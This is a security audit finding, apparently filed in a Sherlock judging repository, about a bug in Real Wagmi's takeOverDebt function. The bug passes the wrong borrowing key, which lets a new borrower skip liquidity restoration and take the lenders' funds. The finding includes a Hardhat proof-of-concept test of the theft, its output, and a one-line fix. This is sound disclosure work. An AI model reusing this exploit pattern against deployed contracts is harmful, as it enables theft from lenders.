search

sherlock-audit / 2023-10-real-wagmi-judging

16 stars 14 forks source link

0xpep7 - `takeOverDebt._addKeysAndLoansInfo` function mistakenly updates newBorrowing with the old borrowingKey, enabling attacker to steal loans liquidity #168

Closed sherlock-admin2 closed 1 year ago

sherlock-admin2 commented 1 year ago

0xpep7

high

takeOverDebt._addKeysAndLoansInfo function mistakenly updates newBorrowing with the old borrowingKey, enabling attacker to steal loans liquidity

Summary

The _addKeysAndLoansInfo function contains a critical vulnerability that could allow a new borrower (the one who takes over the debt) to exploit the system by bypassing the repay._restoreLiquidity function and steal the entire borrowed liquidity along with the bonuses, ultimately resulting in a loss of funds for the lenders.

Vulnerability Detail

The root cause of the vulnerability is that the _addKeysAndLoansInfo function mistakenly uses the borrowingKey instead of the corresponding newBorrowingKey when updating the loansInfo and tokenIdLoansKeys data structures for the new borrower. Due to this oversight, the new borrower's state is not properly updated in the system, causing misalignment between the global states of borrowingsInfo, loansInfo, etc.

// File: wagmi-leverage/contracts/LiquidityBorrowingManager.sol
395:    function takeOverDebt(bytes32 borrowingKey, uint256 collateralAmt) external {
        ...
431:        (
432:            uint256 feesDebt,
433:            bytes32 newBorrowingKey,
434:            BorrowingInfo storage newBorrowing
435:        ) = _initOrUpdateBorrowing(
436:                oldBorrowing.saleToken,
437:                oldBorrowing.holdToken,
438:                accLoanRatePerSeconds
439:            );
440:        // Add the new borrowing key and old loans to the newBorrowing
441:        _addKeysAndLoansInfo(newBorrowing.borrowedAmount > 0, borrowingKey, oldLoans); // <= FOUND: borrowingKey was used instead of newBorrowingKey
        ...
453:    }

Assuming Alice calls takeOverDebt to obtain Bob's under-collateral borrow position. Due to the error at line 441, after the call, only borrowingsInfo is properly updated with Alice's borrowing key while loansInfo, userBorrowingKeys and tokenIdToBorrowingKeys stored incorrect data derived from Bob's key. This means that any subsequent calls that rely on Alice's borrowing key to read loansInfo would result in empty information.

Impact

The impact of this vulnerability is severe as it allows a new borrower to manipulate the system and exploit it for their gain. The key points of impact are as follows:

Loss of Funds: Assuming Alice has successfully taken over the borrow position and proceeds to call repay on that position. As previously stated, a read to loansInfo at line 638 would return empty loans array (provided POC would prove this). Since loans is empty, _restoreLiquidity would be skipped so that the entire borrowing.holdToken transfered from the VAULT_ADDRESS (Line 632) will not be used to restore the liquidity of the lender's NFTs and send everything to Alice instead (Line 669). This causes a severe consequence that the holdToken which should be used to restore the loaner's liquidity and pay for the owned borrow fees were lost to Alice. 

// File: wagmi-leverage/contracts/LiquidityBorrowingManager.sol
532:    function repay(
        ...
632:            Vault(VAULT_ADDRESS).transferToken(
633:                borrowing.holdToken,
634:                address(this),
635:                borrowing.borrowedAmount + liquidationBonus
636:            );
637:            // Restore liquidity using the borrowed amount and pay a daily rate fee
638:            LoanInfo[] memory loans = loansInfo[params.borrowingKey];// <= FOUND
        ...
650:            _restoreLiquidity(
651:                RestoreLiquidityParams({
652:                    zeroForSaleToken: zeroForSaleToken,
653:                    fee: params.internalSwapPoolfee,
654:                    slippageBP1000: params.swapSlippageBP1000,
655:                    totalfeesOwed: borrowing.feesOwed,
656:                    totalBorrowedAmount: borrowing.borrowedAmount
657:                }),
658:                params.externalSwap,
659:                loans
660:            );
            ...
669:            _pay(borrowing.holdToken, address(this), msg.sender, holdTokenBalance);
674:    }

POC

diff --git a/wagmi-leverage/test/WagmiLeverageTests.ts b/wagmi-leverage/test/WagmiLeverageTests.ts
index 689a56c..3b189dc 100644
--- a/wagmi-leverage/test/WagmiLeverageTests.ts
+++ b/wagmi-leverage/test/WagmiLeverageTests.ts
@@ -1150,6 +1150,71 @@ describe("WagmiLeverageTests", () => {
         expect(borrowingsInfo.borrower).to.be.equal(constants.AddressZero);
     });

+    it("takeOverDebt & repay steals all borrow liquidity", async () => {
+        snapshot_global.restore();
+        
+        const bobBorrowingsCount = await borrowingManager.getBorrowerDebtsCount(bob.address);
+        const aliceBorrowingsCount = await borrowingManager.getBorrowerDebtsCount(alice.address);
+        // Make sure Alice has no borrow initially
+        expect(aliceBorrowingsCount).to.be.eq(0);
+
+        let bobDebt: LiquidityBorrowingManager.BorrowingInfoExtStructOutput = (
+        await borrowingManager.getBorrowerDebtsInfo(bob.address)
+        )[0];
+        expect(bobDebt.collateralBalance).to.be.gte(0);
+        await time.increase(bobDebt.estimatedLifeTime.toNumber() + 10);
+        bobDebt = (await borrowingManager.getBorrowerDebtsInfo(bob.address))[0];
+        expect(bobDebt.collateralBalance).to.be.lt(0);
+
+        // Alice takes over Bob's borrowing position
+        const cachedBobBorrowingsInfo = await borrowingManager.borrowingsInfo(bobDebt.key);
+        let collateralDebt = bobDebt.collateralBalance.abs().div(COLLATERAL_BALANCE_PRECISION).add(1);
+        await borrowingManager.connect(alice).takeOverDebt(bobDebt.key, collateralDebt.add(5));
+        expect(await borrowingManager.getBorrowerDebtsCount(bob.address)).to.be.equal(bobBorrowingsCount.sub(1));
+        expect(await borrowingManager.getBorrowerDebtsCount(alice.address)).to.be.equal(aliceBorrowingsCount.add(1));
+        const bobBorrowingsInfo = await borrowingManager.borrowingsInfo(bobDebt.key);
+        expect(bobBorrowingsInfo.borrower).to.be.equal(constants.AddressZero);
+        const aliceBorrowKey = ethers.utils.solidityKeccak256(
+            ["address", "address", "address"], 
+            [alice.address, cachedBobBorrowingsInfo.saleToken, cachedBobBorrowingsInfo.holdToken]).toString();
+        const aliceBorrowingsInfo = await borrowingManager.borrowingsInfo(aliceBorrowKey);
+        expect(aliceBorrowingsInfo.borrower).to.be.equal(alice.address);
+        expect(aliceBorrowingsInfo.borrowedAmount).to.be.gte(cachedBobBorrowingsInfo.borrowedAmount);
+        
+        // Error 1: Alice's userBorrowingKeys stores Bob's key
+        // causing getBorrowerDebtsInfo to returns wrong debt info
+        let storedAliceDebt = (await borrowingManager.getBorrowerDebtsInfo(alice.address))[0];
+        console.log("Alice's expected borrowing key:", aliceBorrowKey)
+        console.log("Alice's recorded borrowing key:", storedAliceDebt.key);
+
+        // Error 2: Alice has empty loansInfo
+        const loansInfo: LiquidityManager.LoanInfoStructOutput[] = await borrowingManager.getLoansInfo(aliceBorrowKey);
+        console.log("Alice's loansInfo length:", loansInfo.length);
+
+        // Error 3: Alice steals all borrowed liquidity via repay 
+        // since _restoreLiquidity is skipped due to empty loansInfo
+        const deadline = (await time.latest()) + 60;
+        const swapParams: ApproveSwapAndPay.SwapParamsStruct = {
+            swapTarget: constants.AddressZero,
+            swapAmountInDataIndex: 0,
+            maxGasForCall: 0,
+            swapData: swapData,
+        };
+        let params: LiquidityBorrowingManager.RepayParamsStruct = {
+            isEmergency: false,
+            internalSwapPoolfee: 500,
+            externalSwap: swapParams,
+            borrowingKey: aliceBorrowKey,
+            swapSlippageBP1000: 990, //1%
+        };
+        const aliceBalanceBefore = await getERC20Balance(cachedBobBorrowingsInfo.holdToken, alice.address);
+        await borrowingManager.connect(alice).repay(params, deadline);
+        const aliceBalanceAfter = await getERC20Balance(cachedBobBorrowingsInfo.holdToken, alice.address);
+        expect(aliceBalanceAfter).to.be.approximately(aliceBalanceBefore
+            .add(cachedBobBorrowingsInfo.borrowedAmount)
+            .add(cachedBobBorrowingsInfo.liquidationBonus), 5);
+    });
+
     it("increase the collateral balance should be correct", async () => {
         snapshot_global.restore();
         const key = await borrowingManager.userBorrowingKeys(bob.address, 1);

Result:

✔ takeOverDebt & repay steals all borrow liquidity Alice's expected borrowing key: 0x09d2fdcd4da67a701a842deba011fc2de8068d3aa721f095353b3397862326af Alice's recorded borrowing key: 0xa3668144c44aa5a2afe3badb4c4cf7c621fee77a9fd0a93cc1886e6168a89388 Alice's loansInfo length: 0

The POC result confirms that the wrong Alice borrowing key was used to update loansInfo which makes reading back with the right key result in empty loansInfo. It also shows that after calling takeOverDebt and later repay, Alice has successfully stolen an amount of roughly borrowedAmount + liquidationBonus which are mostly owned by the loan owners as Uniswap v3 NFTs.

Code Snippet

https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L441

Tool used

Vscode + hardhat test

Recommendation

To address this vulnerability and prevent potential abuse, it is recommended to update the _addKeysAndLoansInfo function to use the correct newBorrowingKey. The line in question should be modified as follows:

- _addKeysAndLoansInfo(newBorrowing.borrowedAmount > 0, borrowingKey, oldLoans);
+ _addKeysAndLoansInfo(newBorrowing.borrowedAmount > 0, newBorrowingKey, oldLoans);

Duplicate of #53